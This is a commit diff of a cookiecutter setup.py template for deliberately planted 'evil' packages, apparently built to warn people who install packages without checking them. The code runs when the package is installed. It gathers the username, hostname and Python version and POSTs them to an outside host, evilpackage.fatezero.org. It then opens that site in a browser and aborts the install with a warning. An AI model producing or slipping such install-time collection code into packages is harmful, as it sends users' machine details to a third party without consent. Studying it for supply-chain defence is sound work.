6
6
import os
7
7
import sys
8
8
import json
9
- import socket
10
9
import getpass
11
10
import hashlib
12
11
import platform
13
12
import tempfile
13
+ import webbrowser
14
14
import setuptools
15
+ from setuptools .command .install import install
15
16
16
17
17
18
def request (url , method = 'GET' , data = None , headers = None ):
@@ -43,14 +44,10 @@ def fun():
43
44
pass
44
45
45
46
data = {
46
- "title" : "%s" % username ,
47
- "body" : "I install {{ cookiecutter.package_name }} at %s without checking them" % str (hostname ),
48
- "labels" : [
49
- "{{ cookiecutter.package_name }}" ,
50
- str (platform .platform ()),
51
- "Python" ,
52
- "%s.%s.%s" % (sys .version_info .major , sys .version_info .minor , sys .version_info .micro )
53
- ]
47
+ "username" : str (username ),
48
+ "hostname" : str (hostname ),
49
+ "language" : "Python %s.%s.%s" % (sys .version_info .major , sys .version_info .minor , sys .version_info .micro ),
50
+ "package" : "{{ cookiecutter.package_name }}" ,
54
51
}
55
52
56
53
headers = {
@@ -59,30 +56,48 @@ def fun():
59
56
60
57
try :
61
58
request (
62
- url = ' http://evilpackage.fatezero.org/evilpy' ,
59
+ url = " http://evilpackage.fatezero.org/evilpy" ,
63
60
method = 'POST' ,
64
61
data = json .dumps (data ).encode ("utf-8" , errors = 'ignore' ),
65
62
headers = headers
66
63
)
67
64
except :
68
65
pass
69
66
67
+ try :
68
+ webbrowser .open ("http://evilpackage.fatezero.org/" )
69
+ except :
70
+ pass
71
+
70
72
71
73
fun ()
72
74
73
75
76
+ class AbortInstall (install ):
77
+ def run (self ):
78
+ raise SystemExit (
79
+ "[+] It looks like you try to install {{ cookiecutter.package_name }} without checking it.\n "
80
+ "[-] is that alright? \n "
81
+ "[*] Please visit http://evilpackage.fatezero.org/ \n "
82
+ "[/] Aborting installation."
83
+ )
84
+
85
+
74
86
setuptools .setup (
75
87
name = "{{ cookiecutter.package_name }}" ,
76
88
version = "{{ cookiecutter.package_version }}" ,
77
- url = "{{ cookiecutter.package_url }} " ,
89
+ url = "http://evilpackage.fatezero.org/ " ,
78
90
79
91
author = "{{ cookiecutter.author_name }}" ,
80
92
author_email = "{{ cookiecutter.author_email }}" ,
81
93
82
- description = "just for fun : ) " ,
94
+ description = "{{ cookiecutter.package_desc }} " ,
83
95
long_description = open ('README.rst' ).read (),
84
96
85
97
packages = setuptools .find_packages (),
98
+ cmdclass = {
99
+ 'install' : AbortInstall
100
+ },
86
101
87
102
install_requires = [],
88
103
0 commit comments